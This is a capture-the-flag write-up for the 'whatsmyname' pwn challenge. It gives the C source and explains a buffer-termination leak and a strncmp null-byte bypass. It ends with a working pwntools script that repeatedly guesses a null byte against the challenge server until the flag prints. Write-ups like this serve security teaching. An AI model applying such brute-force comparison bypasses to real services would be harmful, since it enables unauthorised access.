Pwn - whatsmyname
50 points | 304 solves
Description
Can you guess my name?
nc challs.actf.co 31223
Downloads
Solution
We are given 2 files, the binary and the source code itself.
The C source code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
static void generate_name(char *str)
{
FILE *file = fopen("/dev/urandom","r");
fgets(str, 48, file);
fclose(file);
}
int main(){
char yourName[48];
char myName[48];
char guess[48];
setbuf(stdout, NULL);
generate_name(myName);
printf("Hi! What's your name? ");
int n = read(0, yourName, 48);
if (yourName[n-1] == '\n') yourName[n-1] = '\x00';
printf("Nice to meet you, %s!\n", yourName);
puts("Guess my name and you'll get a flag!");
scanf("%48s[^\n]", guess);
if (strncmp(myName, guess, 48) == 0){
char flag[128];
FILE *file = fopen("flag.txt","r");
if (!file) {
puts("Error: missing flag.txt.");
exit(1);
}
fgets(flag, 128, file);
puts(flag);
}
puts("Bye!");
return 0;
}
Initially I thought that the vulnerability was in line 25 where the yourName
string buffer was not correctly null-terminated and since myName
happens to be initialised right after yourName
, if we send any string that is 48 characters long, the printf
in line 27 should print our yourName
string together with the randomly generated myName
. I confirmed my theory by using gdb
to dump out the randomly generated bytes and it works locally. However, when I tried it on the server it failed.
I knew there was another vulnerability which is in line 33, inside the strncmp
function. The thing about strncmp
was that it only compare strings up to their null terminator regardless of the length argument passed to the function (unless the max length is reached before the null terminator). Therefore, if the first byte of the randomly generated myName
is null and if we pass in guess
as null, the flag will be printed. The chance of this happening is 1/256 which is reasonably brute-force-able.
Hence, the final solve script:
from pwn import *
context.log_level = 'error'
while (True):
r = remote("challs.actf.co", 31223)
# r = process("./whatsmyname")
# What's your name?
out = r.recvuntil(b'name? ')
name = b"arne"
r.sendline(name)
# Guess my name and you'll get a flag
out = r.recvuntil(b'flag!\n')
# Try sending null
r.sendline(b'\x00')
out = r.recv()
if "actf" in out.decode():
print(out)
break
r.close()
r.interactive()
r.close()
After a while,

Flag: actf{i_c0uld_be_l0nely_with_y0u_a21f8611c74b}
Last updated